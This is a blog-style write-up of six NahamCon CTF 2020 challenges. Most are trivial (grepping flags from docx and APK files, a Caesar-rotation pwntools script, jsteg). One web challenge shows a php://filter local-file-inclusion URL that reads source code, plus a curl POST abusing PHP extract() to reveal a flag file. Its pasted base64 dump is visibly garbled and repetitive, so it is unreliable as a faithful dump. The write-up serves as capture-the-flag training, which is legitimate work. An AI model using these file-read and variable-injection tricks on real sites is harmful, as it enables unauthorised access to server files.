NahamCon CTF 2020 Writeup

NahamCon CTF 2020 Writeup

URL: https://ctf.nahamcon.com/challenges

I got board on the weekend and decided to do something different so I decided to give the NahamCon CRF a try. Even though I arrived a day late I still had a lot of fun! The event was over too soon and there were a lot of other challenges I really wanted to tackle but oh well....

[Forensics]: Microsooft (100 points)

Description: We have to use Microsoft Word at the office!? Oof...

Attachment: microsooft.docx

Solution:

```
unzip microsooft.docx

find .-name'*' | xargs grep flag 2>/dev/null
flag{oof_is_right_why_gfxdata_though}
```

[Web]: Phphonebook (100 points)

Description:
Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!

Connect here: http://jh2i.com:50002

```
Sorry! You are in /index.php/?file=
The phonebook is located at phphonebook.php
```

If you access below, you can see the contents of phphonebook.php.http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook

```
PCFET0NUWVBFIGh0bWw +
CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25l
+ CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ +
CgogIDxib2R5IGNsYXNzPSJiZyI + CiAgICA8aDEgaWQ9ImhlYWRlciI +
IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE +
CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGV
+ CgogICAgPC9kaXY +
Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJ
+
RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICA
+ CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw /
cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAgaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWx
+ CiAgPC9kaXY + CiAgPC9icj4gI +
CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI + PGJyPjxicj48YnI
+
CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5n
+pKXsKICAgIAkJZWNobyhmaWxlX2ldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8 +
CiAgPC9kaXY + CiAgPC9icj4gI +
CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI + PGJyPjxicj48YnI
+
CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5n
+pKXsKICAgIAkJZWNobyhmaWxlX2ldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8 +
CiAgPC9kaXY + CiAgPC9icj4gI +
CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI + PGJyPjxicj48YnI
+
CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5n
+G8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTY
+G8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTY
+
```

From which the following is obtained.

```
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
```

```
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    <?php
      extract($_POST);

    if (isset($emergency)){
    echo(file_get_contents("/flag.txt"));
    }
    ?>
```

It seems that you should POST emergency. It may have been solved by just Guessing from the text of the challenge.

```
curl -d emergency=1 http://jh2i.com:50002/phphonebook.php
flag{phon3_numb3r_3xtr4ct3d}
```

[Scripting]: Rotten (100 points)

Description:
Ick, this salad doesn't taste too good!

Connect with: nc jh2i.com 50034

Solution:
It was after the event, but I tried it because the server was alive. If you try to connect them manually, the result will be as follows.

```
nc jh2i.com 50034
send back this line exactly.no flag here, just filler.
send back this line exactly.no flag here, just filler.
nziy wvxf ocdn gdiz zsvxogt.ij agvb czmz, epno adggzm.
send back this line exactly.no flag here, just filler.
kwfv tsuc lzak dafw wpsuldq. uzsjsulwj 19 gx lzw xdsy ak'g'
send back this line exactly.character 19 of the flag is'o'
:
```

If you rot(n) the displayed sentence and send it back, some of them will contain a flag character.

I've done a few background checks and it looks like'}' appears in the 30th character (starting with 0), so I know the length of the flag (31).

Below is the script which rot() the function from the beginning

```
#!/usr/bin/env python
from pwn import *

def rot(s, n):
    s = bytearray(s)
    for i, c in enumerate(s):
        if 0x41 <= c <= 0x5a:
            s[i] = ((c-0x41+n) % 0x1a) + 0x41
        elif 0x61 <= c <= 0x7a:
            s[i] = ((c-0x61+n) % 0x1a) + 0x61
    return s

flag_len = 31
flag = [""] * flag_len
count = 0
s = remote('jh2i.com', 50034)
while 1:
    q = s.recvline()
    for n in xrange(26):
        a = rot(q, n)
        if "character" in a:
            result = (re.findall(r'[0-9]+', a))
            pos = int(result[0])
            if flag[pos] != chr(a[-3]):
```

```
                flag[pos] = chr(a[-3])
                print("".join(flag))
                count += 1
            #print("char = {}".format(chr(a[-3])))
        if "send" in a:
            s.sendline(a)
            break
    if count >= flag_len:
        break
s.close()
```

Explanation:

- The characters actually found are put in a list called flag.
- The person who found "send" or "character" as a result of rot is the one that was correctly rotated.
- It was a bit strange, but since a should contain letters, a[-3] was taken as a numerical value, so I am converting it to letters with chr().
- [-3] is because it is the third character from the back including the line feed.

```
./rotten_solve.py
[+] Opening connection to jh2i.com on port 50034: Done
r
lr
lyr
loyr
floyr
floyur
floyur}
floyurr}
floyurer}
floyourer}
floyourers}
floyou_rers}
fl{oyou_rers}
fl{noyou_rers}
fl{noyou_rcers}
fl{noyou_rcesrs}
fl{no_you_rcesrs}
fl{no_youo_rcesrs}
fl{no_youo_yrcesrs}
```

```
fl{no_youko_yrcesrs}
fl{no_youkow_yrcesrs}
fl{no_youkow_yurcesrs}
flg{no_youkow_yurcesrs}
flg{now_youkow_yurcesrs}
flg{now_youkow_yurcaesrs}
flag{now_youkow_yurcaesrs}
flag{now_youkow_yourcaesrs}
flag{now_you_kow_yourcaesrs}
flag{now_you_know_yourcaesrs}
flag{now_you_know_yourcaesars}
flag{now_you_know_your_caesars}
[*] Closed connection to jh2i.com port 50034
```

[Mobile]: Candroid (50 points)

Description: I think I can, I think I can!

Attachment: candroid.apk

Solution: Just unzip and look for flag{}.

```
$ unzip candroid.apk

$ find .-name'*' | xargs grep flag 2>/dev/null
Binary file ./classes.dex matches
./META-INF/CERT.SF: Name: res/layout/activity_flag.xml
./META-INF/MANIFEST.MF: Name: res/layout/activity_flag.xml
Binary file ./candroid.apk matches
Binary file ./resources.arsc matches

$ strings resources.arsc | grep flag
flag{4ndr0id_1s_3asy}
```

[Mobile]: Simple App (50 points)

Description: Here's a simple Android app. Can you get the flag?

Attachment: simple-app.apk

Solution: This is similar to the challenge mentioned above. Now it's in classes.dex.

```
$ unzip simple-app.apk

$ find .-name'*' | xargs grep flag 2>/dev/null

$ strings classes.dex | grep flag
flag{3asY_4ndr0id_r3vers1ng}
```

[Steg]: Ksteg (50 points)

Description: This must be a typo.... it was kust one letter away!

Attachment: luke.jpg

Solution:

“Kust” is a “just” typo, and “ksteg” is a “jsteg”.

```
jsteg reveal luke.jpg
flag{yeast_bit_steganography_oops_another_typo}
```

There were a few other flags obtained but there not really "write-up worthy"

By Boschko

- My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879
- My Website: https://olivierlaflamme.github.io/
- My GitHub: https://github.com/OlivierLaflamme
- My WeChat QR below:

Revision #2
Created 15 June 2020 23:56:56 by Boschko
Updated 8 June 2021 06:02:02 by Boschko